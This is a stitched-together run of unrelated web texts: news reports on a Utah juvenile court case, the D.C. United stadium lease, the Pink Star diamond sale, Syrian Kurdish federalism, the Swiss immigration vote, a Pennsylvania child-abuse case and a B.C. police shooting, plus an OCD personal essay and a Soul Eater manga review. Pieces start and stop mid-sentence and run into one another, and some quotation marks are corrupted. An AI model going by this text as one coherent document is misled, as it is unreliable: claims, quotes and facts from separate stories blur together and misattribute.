Marnie Hancock, Christianson's stepmother, said she wanted to make the day about him and his friend and not about how they died. One of Christianson's passions that stands out, she said, was his love of fixing, tinkering with and driving cars.
"He was quiet and had a great sense of humor. … He was special," she said.
Hancock said her family is leaning on each other to get through the aftermath of the sudden loss.
"It's been really hard to wrap your brain around it," she said. "We're still kind of in the shock phase. … We love him and we're going to miss him."
Gardner made an initial bail hearing appearance in 2nd District Juvenile Court Friday morning. At that time, charges had not been filed and the hearing was continued until next Friday.
A $150,000 arrest warrant was issued later that morning by the Weber County Attorney's Office. Police had requested no bail, according to the affidavit. Gardner will reportedly remain in juvenile detention for the time being.
If someone you know is having thoughts of suicide, there are resources to help. Call the UNI Crisis Line at 801-587-3000, the Suicide Prevention Lifeline at 800-273-8255, or visit suicidepreventionlifeline.org.
Contributing: Ashley Moser, Mike Anderson
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Related StoriesOfficials from D.C. United and Events DC are close to agreeing on a two-year lease extension at RFK Stadium, creating a window in which the team and some officials likely will attempt a last-ditch effort to build a stadium for the team in the District.
The combination of a lease that is expected to provide more favorable conditions for the team — as well as possible incentives for the team to remain in the District long-term — and an improved budget situation for the city has created optimism.
United officials have been pursuing a more favorable lease to stave off financial losses. Team President Kevin Payne told The Washington Post in early February that he had recent talks with officials in Maryland and the District.
William N. Hall, a board member at Events DC who was a key player in returning Major League Baseball to the District, said the new lease will “reflect the current economic realities of Major League Soccer in Washington and will more be reflective of the cost-side, or the expense side, of what other MLS teams are dealing with.”
“That two-year extension will then provide adequate time for serious negotiations to commence between the city, Events DC and the team about a new soccer stadium in D.C., and one that meets the needs of the city and one that meets the needs of D.C. United,” he said.
Gregory A. O’Dell, Events DC president and chief executive, would not disclose terms of the lease but said it could include contingencies to give the team incentives to commit to the District long-term. He said he hopes it will be complete by the team’s first home game on March 10.
Mayor Vincent C. Gray has repeatedly said the team needs to pay for its own stadium. But Hall and others say they expect Gray to consider helping the team get a deal. Gray’s chief of staff, Chris Murphy, issued a statement as the RFK lease neared completion saying that “the District is not in a position to build a stadium with taxpayer funds. However, we are hopeful we can find a way to keep them here where they belong.”
In January, city officials announced that the District ended its 2011 fiscal year with a $240 million surplus, after years of having to fill budget gaps. And Council member Jack Evans (D-Ward 2) said despite the improved finances the city was still unable to issue bonds for the project as it did for the Nationals Park or the convention center because of the city’s limit on borrowing. “They are going to be the ones who are going to have to borrow the money because the city can’t,” Evans said of the team.
Hall, a partner at Venable LLP, said he sees the pieces falling into place. “I am confident that we will be able to put the kind of deal together that will result in the D.C. United remaining in Washington the rest of our lifetime,” he said.Kelvin Chan, The Associated Press
HONG KONG -- A stunning 59.6 carat diamond known as the "Pink Star" sold for $71.2 million at a Sotheby's auction Tuesday in Hong Kong, setting a new world record for any diamond or jewel, according to the auction house.
The oval mixed-cut diamond smashed the $60 million pre-sale estimate set by Sotheby's when it went on the block.
The sale comes three years after the gem was sold at an even higher price at another Sotheby's auction in Geneva. That deal later fell apart after the buyer defaulted.
The gem is the largest flawless fancy vivid pink diamond ever graded by the Gemological Institute of America.
Three telephone bidders competed for the stone during five tense minutes of bidding. The crowd in the packed auction room applauded when it was sold for a hammer price of $63 million, not including the buyer's premium.
Sotheby's Asia Chairwoman Patti Wong said the winning bidder was Hong Kong jeweler Chow Tai Fook
"We're very happy," Wong said. "I know there was a lot of talk about the economy in China not being as positive as it was a few years ago," but the results from its jewelry auction Tuesday, which included nearly 200 other lots, were very strong, she said.
Wong said the company is not worried about another default because the bidders were vetted and have longstanding relationships with Sotheby's.
"We're very, very confident that all three bidders had the financial capability, and of course the buyer definitely had the financial capability," she said.
Until now, the most expensive diamond ever sold at auction was the "Oppenheimer Blue," which fetched 56.8 million Swiss francs (then $57.6 million) last May. The previous world auction record for a pink diamond was $46.2 million for the 24.78 carat "Graff Pink" in 2010.
Sotheby's decided the time was right to bring the diamond back to the market because of rising demand from wealthy Asian buyers.
"The Asian element in the jewelry market is extremely important and from what I've been hearing from members of the trade I've been talking to, in the last six months they have become more and more important," said David Bennett, chairman of the auction house's jewelry division.
The "Pink Star" was mined in Africa by De Beers in 1999 as a raw 132.5 carat gem and cut over a two-year period. In November 2013 it was auctioned for a record $83 million to New York diamond cutter Isaac Wolf, who failed to pay.
The auction house was then forced to buy the diamond itself because had guaranteed a $60 million sale price. Last year it sold an unspecified stake in the diamond, valued at $72 million on its balance sheet, to two companies, diamond specialist Diacore and New York jeweler Mellen Inc.BEIRUT -- A powerful Syrian Kurdish political party announced plans Wednesday to declare a federal region in northern Syria, a model it hopes can be applied to the entire country. The idea was promptly dismissed by Turkey and also the Syrian government team at U.N.-brokered peace talks underway in Geneva.
The declaration was expected to be made at the end of a Kurdish conference that began Wednesday in the town of Rmeilan in Syria's northern Hassakeh province.
The development comes as the Damascus government and Western- and Saudi-backed rebels are holding peace talks with a U.N. envoy in Geneva on ways to resolve the country's devastating civil war, which this week entered its sixth year.
The main Syrian Kurdish group, the Democratic Union Party (PYD) and its military wing, the People's Protection Units, has so far been excluded from those talks so as not to anger Turkey, despite Russia's insistence that they be part of the negotiations. Ankara views the group as a terrorist organization.
Nawaf Khalil of the PYD told The Associated Press that his party is not lobbying for an only-Kurdish region but an all-inclusive area that would include representation for Turkmen, Arabs and Kurds in northern Syria.
Kurds are the largest ethnic minority in Syria, making up more than 10 percent of the country's prewar population of 23 million. They are centered in the impoverished Hassakeh province, wedged between the borders of Turkey and Iraq.
Syrian Kurds fight ISIS on their own
Syria's Kurds have dramatically strengthened their hold on northern Syria during the civil war, carving out territory as they battled to drive out Islamic militant fighters allied to the rebellion and declaring their own civil administration in areas under their control.
A federal region could be a first step toward creating an autonomous region similar to the one Kurds run across the border in Iraq, where their territory is virtually a separate country.
It could also usher in similar demands for federal regions elsewhere in Syria and in effect lead to a partition of the war-shattered country.
However, a Turkish foreign ministry official said his country rejects any moves that would compromise Syria's national unity and considers the territorial integrity of Syria as "essential."
It's up to the Syrian people to "decide on the executive and administrative structure of Syria in line with the new constitution which will be formulated through the political transition process," said the official, who spoke to The Associated Press on condition of anonymity in line with government practice.
"Unilateral moves carry no validity," the official said, effectively rejecting the Syrian Kurdish faction's plan.
Both the Syrian government and the opposition, at least in theory, reject any form of partitioning of the country. Riad Naasan Agha, a member of the Saudi-backed Syrian opposition, said such issues should be decided through Syrian institutions including elections.
"What someone declares on their own, far away from the Syrian people is unacceptable," Agha said.
Syria's U.N. ambassador Bashar Ja'afari, who also heads the Syrian government team at the U.N. brokered talks in Geneva, said the negotiations in Switzerland are meant to discuss the unity of Syria and how to preserve its territorial integrity.
"Betting on creating any kind of divisions among the Syrians will be a total failure," Ja'afari said.
Russia's Foreign Minister Sergey Lavrov on Monday said federalization is one possible option in Syria if it is the will of the Syrian people. He said Russia will support whatever solution the Syrian government and the opposition devise to end the country's war, including "any form (of government) whatever it may be called: federalization, decentralization, unitary state."
Khalil, distinguished between prevailing autonomous rule for the Kurdish areas - which has been in effect in Syria since 2013 - and the federalism project, which he said was ethnically inclusive.
"The federalism project is a model for all Syria," he said in a phone interview from Germany, where he is based.
A federal region in northern Syria is sure to anger Turkey, which considers the PYD as a terrorist group and an extention of the PKK group that is waging an insurgency in southeastern Turkey. The group's military wing, the people's Protection Units, or YPG, leads the fight against Islamic State of Iraq and Syria (ISIS) extremists in Syria and is backed by both the United States and Russia.
Much of Syria's border with Turkey is now controlled by the YPG-dominated Syrian Democratic Forces - an alliance that includes Kurds, Arabs and Christians - which has distinguished itself from the Syrian government and the mainstream opposition in the country's civil war.
The Kurdish move comes at a critical juncture in the conflict.
A two-week-old Russia and U.S.-engineered partial cease-fire is holding and peace talks have resumed this week in Geneva. Moreover, Russia on Tuesday began withdrawing the bulk of its troops from Syria, signaling an end to Moscow's five-and-a-half month air campaign. That move raised hopes for more meaningful discussions in Switzerland where de Mistura is holding proximity talks with both the Syrian government team and the representatives of the moderate, western-backed opposition.
Russia's defense ministry said another group of its aircraft left the Russian air base in Syria on Wednesday and is returning home.
NATO's Secretary General Jens Stoltenberg welcomed Russia's decision. In an interview with The Associated Press, he said it's a contribution to efforts to reduce military tensions and find a peaceful solution to the Syrian conflict.
Stoltenberg, who spoke during a visit to the Afghan capital of Kabul, said the consequences of the withdrawal are yet to be seen but that he "would welcome any action that reduces the military tensions in Syria."
Meanwhile, Russian President Vladimir Putin's spokesman said Moscow is satisfied with the joint work with Washington on coordinating Syria peace efforts. Dmitry Peskov said Wednesday the Syrian peace process is the main focus now for Moscow and Washington.
He hailed Washington's "readiness to coordinate those efforts."Breitbart News selectively quoted part of a stolen email chain published on WikiLeaks to falsely claim that Democratic presidential nominee Hillary Clinton “still privately opposes gay marriage.”
Citing part of a hacked email chain involving Clinton campaign chairman John Podesta that was released by WikiLeaks, Breitbart News falsely claimed that the discussion proves Clinton "still privately opposes gay marriage, even though she has publicly flipped to embrace it in order to shore up support from the cultural left." As evidence that Clinton “still believes in traditional marriage,” Breitbart quoted an October 25, 2015, email from Clinton speechwriter Dan Schwerin, which read:
I’m not saying double down or ever say it again. I’m just saying that she’s not going to want to say she was wrong about that, given she and her husband believe it and have repeated it many times. Better to reiterate evolution, opposition to DOMA when court considered it, and forward looking stance.
In the selective part of the email chain quoted -- “she and her husband believe it and have repeated it many times” -- the “it” appears to refer Clinton’s alleged opposition to marriage equality. But as Snopes has already pointed out, the longer email chain makes it clear that the “belief” referred to was Clinton’s “assertion that DOMA was necessary to prevent a more restrictive constitutional amendment limiting same-sex marriage, not a belief in opposition to marriage equality.” Clinton first publicly declared her full support for marriage equality in 2013 after leaving the State Department, and she has repeatedly explained her evolution in support of same-sex marriage.
Breitbart News -- previously operated by Steve Bannon, who now serves as Republican presidential nominee Donald Trump’s campaign CEO -- regularly publishes articles with the anti-LGBT slurs “trannies” and “faggot” in headlines, peddles anti-gay conspiracy theories, and features pieces by anti-LGBT hate group leaders.
From the October 11 Breitbart News article:By Annabelle
I have a type of OCD which I finally understand to be Obsessive-Compulsive Spartanism.
For more than thirty years I suffered in embarrassed silence, not sure what was wrong with me. I suspected it was OCD, but my particular symptoms were documented in none of the textbooks on the subject. I didn’t clean or check, and I certainly didn’t hoard. What was wrong with me?
By age 16 I was so desperate for help that I began starving myself. By age 18 I was admitted to a psychiatric hospital for anorexia and bulimia, and that’s when I first attempted to explain that I was constantly bothered by the presence of stuff in my room – that I had to have specific numbers of everything, but I could never quite decide what those numbers should be. I felt silly saying all this, and the look of pure cluelessness on the doctor’s and nurse’s faces only served to amplify my isolation.
Years of self-abuse, self-harm, excessive drinking and depression followed. I spent hours in libraries and bookstores trying to understand what was wrong with me, but still found nothing. Then came the internet. I searched and searched and came up empty-handed.
One spark of joy, the only thing that kept me alive all these years, was that out of more than twenty mental health professionals from whom I sought help, one prescribed SSRI medications and I experienced enough relief from my symptoms to be able to function (somewhat) in life. Seeing how much relief I got from SSRIs, I became more convinced that I might indeed have OCD. But still none of the literature covered my specific symptoms. So I continued my journey through life alone and frustrated.
And then it happened. Thirty years after my admittance to the psychiatric hospital for an eating disorder, I was in an online forum, not unlike this one, listening to everyone describe hand washing and hoarding for the millionth time, and as usual having my posts ignored by everyone, when suddenly one angel popped onto my screen and said those magic words:“You have obsessive-compulsive spartanism.”
So I looked it up and, surely enough, it described my symptoms. There isn’t that much information on obsessive-compulsive spartanism. But it is there, and it is OCD. Finally I had a name for my condition and for the first time in my life, I felt that I could talk about it.
The moral of this story is that OCD is more than just the textbook symptoms that are rehashed over and over. But many sufferers are never made aware of this. And many people suffer alone and in silence, unaware that they are not alone in suffering from a well-known condition that can be treated with SSRI medications.
I wish the OCD community would be more open-minded and understand that we do not all fit into one neat little box. Certainly the majority of OCD sufferers experience the most well-known symptoms, but theirs is not the whole story of OCD, and any responsible educators on the subject have a duty to leave no sufferer in the dark.
Click below to order Check Mates, the first ever collection of fiction poetry and artwork about OCD
amazon.com amazon.co.uk amazon.caIn a Facebook post Tuesday, the Palestinian Fatah group listed a number of its achievements. At the top: the killing of 11,000 Israelis.
The post was carried by Fatah’s official page. It was translated by the watchdog group Palestinian Media Watch.
In its boast, Fatah also notes other achievements, such as losing 170,000 “martyrs,” being the first to carry out attacks in the First Intifada, which began in 1987, as well as in the second that launched in the fall of 2000. It also takes credit for leading the Palestinian campaign against Israel in the UN.
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Fatah, led by Palestinian Authority President Mahmoud Abbas, is widely seen as the more moderate of the two main Palestinian factions. Hamas, the Islamist terror group which rules Gaza, is Fatah’s main competitor.
The current Fatah post is likely linked to the upcoming Palestinian municipal elections, set for October 8, in which Fatah and Hamas are expected to contest seats in most Palestinian municipalities. In many places in the West Bank, Hamas members will be running without openly identifying with the movement, which has been suppressed by PA forces in areas under its control.
Much of the Fatah Facebook page is currently devoted to criticizing Hamas.
According to PMW, this wasn’t the first time Fatah made such a boast. A similar message appeared on Fatah’s Facebook page in 2014.
https://www.facebook.com/Official.Fateh.1965/photos/a.1591709777754363.1073741828.1591249977800343/1735120870079919/
If Hamas wins significant gains in the municipal election, it could signal its successful attainment of a firm foothold in the territory.
Last week, analysts suggested that Hamas likely agreed to the municipal elections out of the belief that the aging and unpopular Abbas would be a weak opponent.
Fatah has tried to prevent Hamas gains by putting pressure on the group ahead of the vote. On Monday, a senior Hamas member decried the Palestinian Authority’s ongoing arrests of its members in the West Bank, according to Israel Radio. He said the persecution of Hamas members showed that Abbas’s government was not conducting fair and democratic elections.Eurosceptic anti-immigrant movements across Europe received a boost on Sunday when Switzerland voted by the slimmest of margins to impose quotas on newcomers to the country, thrusting its relations with the EU into uncertainty.
In a referendum mobilised by far-right populists demanding caps on immigration in a country where almost one in four of the population are immigrants, 50.4% of voters supported the measure, in a relatively high turnout of 56%.
The vote split Switzerland east to west, with the francophone west voting against the quotas and the German-speaking east backing the clampdown.
The European commission said it regretted the outcome of the Swiss vote and would need to review the impact on overall relations between Switzerland and the EU.
"This goes against the principle of free movement of people between the EU and Switzerland," the commission said.
While Switzerland is not an EU member, it is closely integrated with the union and is a member of Europe's passport-free Schengen regime. The vote to cap immigration throws this into question, undermining several bilateral agreements between Brussels and Berne, and challenging the Schengen system since the caps will also apply to EU citizens who previously enjoyed unfettered travel and working rights in Switzerland under the open borders system.
A little more than three months before elections to the European parliament, in which far-right anti-immigration populists are expected to make gains, the Swiss verdict is certain to galvanise the more extreme wings of European politics and chasten the mainstream.
France's National Front, tipped to come first in the French European elections in May, was quick to congratulate the Swiss voters on their verdict. Similar anti-immigrant parties are doing well in the Netherlands, Austria and Scandinavia.
The results may also be seized on in Britain, where David Cameron espouses similar policies of curbing freedom of movement within the EU and setting caps on those allowed to migrate from future new EU members.
The situations are different: Switzerland is not in the EU but in Schengen, while Britain is an EU member but not part of the Schengen system. However, freedom of movement for EU citizens is a central pillar of the EU's single market and applies both to the union and to the Schengen countries.
The Swiss yes vote came as a surprise since opinion polls had shown a majority against the quotas in a country that is one of the world's wealthiest and most successful, with a jobless rate of less than 4%, the lowest in Europe.
The vote, organised by the arch-conservative and Eurosceptic Swiss People's party, raises the prospect of Switzerland having to quit the Schengen system, which it joined in 2002, and its citizens forfeiting passport-free travel across most of Europe.
Brussels may also demand the renegotiation of several bilateral agreements with the Swiss regulating the neutral country's access to Europe's single market.
About 80,000 EU citizens freely settle in Switzerland every year, most coming from Germany but with large numbers also coming from neighbouring Italy and France.
The government opposed the quotas, as did Swiss business leaders. The government now has to come up with new legislation fleshing out the detail within three years.Greater Vancouver's housing market is showing early signs of a revival in sales, an uptick that bodes well for the bellwether market and the rest of the country.
In June, sales surged 11.9 per cent in Greater Vancouver compared with June, 2012, for single-family detached homes, condos and townhouses – the biggest percentage jump in two years. In May, residential sales volume climbed a mere 1 per cent in Greater Vancouver, following a 19-month stretch of year-over-year declines in the number of properties sold.
The Vancouver, Victoria and Calgary markets all displayed strength in June sales.
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Total June sales reported by the Calgary Real Estate Board increased 5.5 per cent year-over-year while overall sales in Greater Victoria rose 6.6 per cent.
Calgary "somehow managed to post yet another gain last month, despite the incredible disruption of the flood," BMO Nesbitt Burns Inc. chief economist Douglas Porter said in a research note Wednesday. "More telling, Vancouver popped 11.9 per cent above (admittedly soft) year-ago levels in June."
Last month, 2,642 Greater Vancouver properties changed hands on the Multiple Listing Service, compared with 2,362 sales in June of 2012.
"If these results are at all indicative, it looks like Canadian home sales remained surprisingly resilient again in June," Mr. Porter said, adding that the housing market's tentative recovery now faces another test owing to longer-term mortgage rates edging up in recent weeks.
Still, the Real Estate Board of Greater Vancouver noted that last month's sales of single-family detached homes, condos and townhouses were 22.2-per-cent below the 10-year average for June. Also, June's sales were down 8.3 per cent from May's 2,882 homes that were sold on the MLS.
While the Vancouver area's residential housing prices slipped 3 per cent in June, Mr. Porter thinks the worst may be over for the local market. The benchmark index price, which strips out the most expensive properties, was $601,900 in June for resale single-family detached homes, condos and townhouses. That is a decrease of $18,700 from $620,600 in the same month of 2012.
Index prices in June climbed 2.3 per cent from January's $588,100.
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In the Fraser Valley, which includes the sprawling and less-expensive Vancouver suburb of Surrey, benchmark June prices for existing single-family detached homes, condos and townhouses slipped 0.6 per cent to $428,400. Sales volume in the Fraser Valley decreased 9.3 per cent in June to 1,327, underscoring the cautionary view from housing experts who say a broad-based recovery in sales will take time.
A measurement closely watched by the real estate industry, known as the sales-to-active-listings ratio, registered 15.3 per cent in Greater Vancouver last month. B.C. real estate agents consider it a balanced market when the ratio ranges from 15 to 20 per cent. It is deemed a buyer's market below 15 per cent and a seller's market above 20 per cent in the Vancouver region.
A balanced market means that key housing indicators such as prices are stable, with more buyers and sellers able to reach deals than a year earlier, said Greater Vancouver board president Sandra Wyant.
In two key neighbourhoods, index prices for single-family detached homes dropped year-over-year but perked up on a six-month basis. On Vancouver's west side, the benchmark price of $2.07-million for a detached house was down 6.1 per cent from June of 2012, but up 3.3 per cent from December's figure. On Vancouver's east side, detached homes had a June benchmark price of $845,900, down 2.2 per cent year-over-year but up 2 per cent over a six-month period.A western Pennsylvania mother has been charged with giving her 13-year-old daughter drugs and alcohol so the woman's boyfriend could get the girl pregnant, police said Thursday.
Shana Brown, 32, is no longer able to have children but wanted to have a baby with her current boyfriend, Duane Calloway, said Uniontown Police Det. Donald Gmitter. The pair decided to drug the girl so Calloway, 40, could have sex with her without her knowledge, he added.
"There's some sick people on this case," Gmitter said.
Brown has been charged with endangering the welfare of a child and was to turn herself into police later Thursday, Gmitter said. Brown's attorney did not immediately return a call for comment.
Calloway faces several counts of attempted rape. He was arrested Wednesday and remains in Fayette County Jail. It was not immediately clear if he had an attorney
The girl told police the plot was apparently hatched sometime in December after she rejected her mother's proposal that she allow Calloway to impregnate her and then marry him.
In the following months, Calloway attempted to rape the girl three times, Gmitter said.
The first time, in February, the girl was alone with Calloway while her mother went out to buy pizza, according to the criminal complaint. Calloway began groping her and she kicked him away, the documents stated.
A few weeks later, the girl believes her mother spiked her Pepsi with rum, according to police. The girl told them she felt ill after drinking the Pepsi, passed out and later threw up. She was also partially naked when she woke up and Calloway was in the room, according to the criminal complaint.
The third incident occurred in mid-March, when the girl told police she came home early from school because she was not feeling well. She said her mother forced her to drink tea, and then she immediately fell asleep.
The girl said she pretended she was asleep until Calloway made a move, at which point she bolted upright and he left the room.
In a search of the Brown residence, police said they found an empty rum bottle, Tylenol PM and a pill crusher.Several neighborhoods of Fort McMurray have opened to allow residents to go back home after being evacuated in May due to wildfire. Pictured; A couple looks over the damage in the |
ISPs) from holding data speeds hostage.
But a study released by?BattlefortheNet concludes that the major internet access providers in the nation–AT&T, Time Warner, Comcast, and Verizon–are indeed slowing down data in dozens of cities across the United States, which affects 75 percent of all internet users in the country.
Tim Karr of Free Press, one of the groups that comprises BattlefortheNet, remarked:
?For too long, internet access providers and their lobbyists have characterized net neutrality protections as a solution in search of a problem. Data compiled using the Internet Health Test show us otherwise? that there is widespread and systemic abuse across the network. The irony is that this trove of evidence is becoming public just as many in Congress are trying to strip away the open internet protections that would prevent such bad behavior.?
And yet these same companies are seeking to get even bigger, which would leave customers with fewer options when it comes to who provides them access to the World Wide Web. AT&T recently announced plans to merge with DirecTV. Charter Communications has also filed notice of a plan to acquire Time Warner in a deal valued at $55 billion.
FCC Chairman Tom Wheeler has not been shy in his criticism of these megamergers which will create even larger telecom behemoths, commenting:
?History proves that absent competition a predominant position in the market such as yours creates economic incentives to use that market power to protect your traditional business in a way that is ultimately harmful to consumers.”Story highlights Rafael Nadal wins Barcelona title
Ninth in Catalan capital
Beats Kei Nishikori in final
Backs up Monte Carlo success
(CNN) Rafael Nadal matched a tennis legend Sunday and laid down another marker ahead of his attempt to win a 10th French Open title.
The revitalized Spaniard backed up his victory in the Monte Carlo Masters by claiming the Barcelona Open for a record ninth time, drawing him level with Argentina's Guillermo Vilas on 49 career clay-court titles.
Nadal beat two-time defending Barcelona champion Kei Nishikori 6-4 7-5 in a hotly-contested final in the Catalan capital.
It was his 10th straight victory of the European clay court season, which culminates with the second grand slam of the season in Paris next month.
Both men had reached the title match without dropping a set and something had to give.boring in the manga. I enjoyed watching/reading about Death the Kid and Excalibur, but, in the manga, the rest of the cast fell short.Most main characters—like Black Star, Tsubaki, Soul, Patty, Oxford, Maka, etc.—seemed dull and underdeveloped. While some had vibrant personalities, they still lacked emotional depth. Sure, some matured as the manga went along (Black Star in particular), but I never found them compelling or a driving force of the series.Soul and Tsubaki were capital offenders. Between the two of them, I can’t think of any adjectives to describe them apart from their shounen trope counterparts. Soul barely had any personality besides his “cool” vibe and wish to live up to his brother. He played the piano, but that didn’t really add to his personality. And Tsubaki was “nice” and a powerful weapon but that’s about it.After 20 something volumes, I had hoped for a bit more from the cast. Instead, most of the characters battled a single problem throughout the series and received a single chapter of backstory (or a few scattered panels) for development. The caricatures were fine, I guess, but difficult to distinguish from other characters like them. Needless to say, I didn’t attach.None of the character annoy me, but I didn’t care for them either. At the very least, I found Death the Kid’s eccentricities amusing, as well as Excalibur’s. Both, sadly, lacked “screen time”, if you will. Excalibur remained a joke character, but Death the Kid whiplashed between a humorous and a serious one. It usually worked fine, but once in a while it jarred me.Plot: 4/10While, I applaud Soul Eater for its distinctive art style and tone, the story trapped itself between humor and (attempts at) philosophy and ended up falling short of both. It couldn’t decide if the reader should take it seriously and transitioned from ridiculous panels to long spouts about insanity and madness—which I found about as compelling as watching paint dry. This is a real shame, because I usually enjoy a good philosophical meander.The plot did move smoothly from A to Z without any hard to swallow plot jumps, but some fights dragged on for volumes. I quickly lost interest in an enemy who revealed a 7th or 8th form. It made Aizen (from Bleach, for those who don’t know) look as if he didn’t have too many final-final-final forms. Several antagonists in Soul Eater pulled this “my true form!” nonsense out. Oh, and the bad guys never die. I swear our heroes have to fight them 3+ times each throughout the manga.Not only were the battles with the same opponents seemingly endless, but I never felt any tension during them. Relatively sure the characters wouldn’t die (good and bad), nothing seemed to be at stake, which made the battles feel a little pointless.Uninvested in the characters or plot, the story often seemed to drag and frequently bored me. In the end, though, a lot of unexplained story elements came together nicely.Nothing about the plot is particularly fantastic, mind-blowing, unique, or interesting. But, aside from the never-ending fights, it’s pretty average and moved at a solid pace.Art: 7/10The story had a sort of quirky-cool style that fit surprisingly well with the story’s main antagonist: madness. The art added to the feel of Soul Eater, and, I think, helped it stand out from other shounen. Soul Eater’s bold, Halloweenish style benefited the story’s humor as well. While I found the anime humorous, not even “the test” chapter made me laugh while reading the manga (and I loved that in the anime).The lines were clean. The fights were (usually) easy to follow. Most panels were simplistic with an occasional “text panel” (what I call panels that have only text and no image). Some, though, were detailed.The angles were pretty normal. I don’t remember it doing anything above and beyond to increase the story’s meaning. Same thing goes for the paneling. Of course it had some clever layouts, but, generally speaking, the angle of the panel and paneling itself did not add to the story. One chapter focusing on Crona was a big expectation to this. Stylistically, I thought it was the best chapter in the series.The story did make great use of black and white, using black to help indicate madness and create some intense panels.Female representation: 1/10I’ve actually had people complain about this category before, but, if you aren’t interested, don’t read it. If I find the males of a series overtly sexualized and poorly written plot tools who serve solely as “dream boys” for girls, I’ll be sure to mention it.In the anime, the first episodes were grating, but after those only certain scenes irritated me (like a cat fight between two basically naked women). I could swallow the ecchi fan service for the most part. It was nudity, but it didn’t make rape jokes funny or needlessly sexualize young girls. It had big boobs, short skirts, and accidental (and sometimes intentional) pervert scenes, but that’s typical for shounen. It was more of an eye roll than an issue.But let’s get to the manga, which is a whole new story.First, sexual assault was comedic. From boob grabbing to skirt lifting, Soul Eater frequently promoted rape culture through humor. I shouldn’t have to explain why that’s problematic.Copious scenes unnecessarily took place in the shower to “cleverly” showcase naked girls. Females, especially villains, often wore outfits that sexualized the body and sometimes emphasized certain parts of it, which I found disturbing, unnecessary, and distracting. One villain continuously taunted her opponent, saying lovely lines like, “don’t imagine my naked body” and “I bet you want to touch my naked body”. If you can’t see through this thinly veiled plot device to entice young boys, than you probably enjoyed this manga more than I did.Fan service aside, gender representation was far from equal. Aside from one female villain, the girls usually had less power than the boys. For example, Maka, the protagonist, was far behind the power level of her male counterparts. Some girls had power, and lots of girls were weapons, but that didn’t really resolve the issue.What about Tsubaki!? Well, frankly, her abilities as a weapon did not factor into a fight nearly as much as Black Star’s skills and capabilities.It is worth noting that, without the fan service issues, I probably wouldn’t complained too much about this. Shounen typically feature boys who are more powerful than girls.And yet... when the characters were in “weapon form”, the manga showed their faces instead of a talking weapon. But the girls were always naked in this state, though the boys wore clothes. That was so obviously sexist it’s laughable.We have another great addition to female representation problems: Blair. She served as nothing more than someone to strip down and treat the males to a little fan service (not that all men even want that. I know a guy who watched Soul Eater and found Blair annoying and unnecessary). She sexually assaulted a character constantly, pushing her impossibly large boobs into his face. Unamusingly, this also promoted rape culture (this time girls assaulting boys). She’s not the first cat-girl in a manga, though, and I’m sure she’s not the last.I could go on, but I’ve hit the major points. If you’re into that stuff, go for it. That’s why it’s there, after all. If you like having female character with substance and something more to them than their bodies, which are constantly being displayed or touched to create jokes and “bleeding noses”, I suggest you find another series to read.At the very least, the main protagonist, Maka, was not overly sexualized. While she fought in a skirt (always humorous and unbelievably stupid), she didn’t suffer many up-skirt shots or clothing damage. The females also had as much character development as the boys, which is to say very little.The manga did offer a variety of female personalities and even one major female villain. But the endless ecchi fan service and rape culture promotion sort of nullify that.Overall: 3/10I obviously did not enjoy this series. Why did I read it all? I heard the ending was better than the anime’s and wanted to find out. I'd take a crappy ending over the horrible female representation, snooze-worthy battles, long rambles about madness, and lost humor any day. Reading it probably wasn’t worth all the frustration and boredom I felt.I don’t recommend it.The sister of Peter de Groot, the man shot and killed by police in Slocan, B.C., said today that her brother had been "executed" and that the family was considering filing a civil suit.
Danna de Groot was speaking at a news conference in Vancouver, surrounded by members of her family and their lawyer, Cameron Ward.
In an emotional and lengthy statement, she detailed her many efforts to persuade the police to accept her help in finding her brother, the frustration she felt at misinformation being spread about him and the apparent lack of interest shown in bringing about a peaceful conclusion.
'Ashamed to be Canadian'
"We are outraged," she said. "For the first time ever, we are ashamed to be Canadian."
The de Groot family, she said, is "an average Canadian family. If this can happen to us, this can happen to you."
She described her "bright, intelligent" brother as a man who had gradually rebuilt his life after a workplace accident in 1994 and then, three years later, a massive brain aneurysm. He also had suffered six post-surgery grand mal seizures, in which he broke several bones, she said.
Peter de Groot was shot and killed by police last week. His sister is calling it an execution. (Facebook)
He hated taking painkillers because they clouded his thinking and, through diet, managed to reduce his seizures and wean himself from the medication. His peripheral vision and his senses remained compromised by the aneurysm.
She said her brother "worked harder than anyone can imagine" in order to be able to live independently. He did not, she said, have PTSD, schizophrenia, take drugs or drink alcohol. He was one of seven siblings.
Life outside on a small holding suited him, she said. He liked living somewhere that had no cellphone reception.
'It was easy to judge him'
The family had heard about him experiencing some problems with his neighbours, something, de Groot said, a lot of people have. But he looked different, and acted differently.
"His body was ravaged over time; it was easy to judge him."
They were told he was alleged to have shoved someone on Oct. 7.
Danna de Groot, surrounded by her family, says that her brother Peter was 'executed' by police in Slocan, B.C. (Dan Burritt/ Twitter)
That same morning, Danna de Groot said, a worker with the SPCA arrived at 9.15 a.m. PT with feed for her brother's animals, having heard he might have financial problems and be running short.
"Peter refused because he had enough," she said. The SPCA worker agreed, and "left without incident." The worker later described Peter de Groot as calm and his usual self.
What happened next, she said, was a gross over-reaction on the part of the police.
She said three RCMP officers, in three separate vehicles, were sent in response to the alleged shove. The officers drove onto the property and created a blockade. They stayed behind their cars and got out their guns.
Peter's worry, she said — which, owing to his medical issues could present more emphatically than is usual — may have been perceived as paranoia.
"Which, it turns out, was warranted."
The police, de Groot alleges, opened fire on her brother, knowing he had a small collection of guns.
"He ran away, and we consider any shots he may have fired to have been in self-defence."
What happened next, according to de Groot, was extreme and unwarranted, and could have been avoided had the family been listened to and allowed to help.
After being alerted to the situation by her sister in Amsterdam, de Groot said, her first reaction was to call the lead RCMP negotiator and ask if she should go to Slocan. She was told no. She asked what the plan was and was told, "to bring the incident to conclusion."
"I said that I thought the manhunt was excessive, that Peter would feel as though he was being ganged up on, and that I could talk to him."
'Why were we ignored?'
She called a law firm in the Slocan area and was told to start driving. Ten hours later she was in Castlegar, and was interviewed by police for two and a half hours, until around 3.30 a.m.
She told them Peter wasn't a violent person and repeatedly offered to walk into the bush to get him. She asked for a statement to be released to the media, police and community to correct the misinformation she felt was being circulated about her brother, an exchange that was repeated several times over the coming days.
"Why were we ignored and our efforts resisted?"
On the day Peter was shot and killed, de Groot said, she was told the manhunt was being downgraded to low priority. She left the police station feeling that things were finally calming down.
Driving through town, she ran into SUVs containing police dressed in "combat gear," she said.
"They had no interest in me helping. I said, 'I hope I find him before you do.'
"In retrospect, I wish I had begged them not to kill him."
Not long after, her brother was dead, shot and killed by police while lying down with a gun pointed toward the door of the cabin, she said.
"Four days in the bush without food or water. He had not committed any serious crime. He was weak and could have been sleeping on his front with his gun. The ERT 'interaction' was that they open fired and killed my brother.
"He was executed."
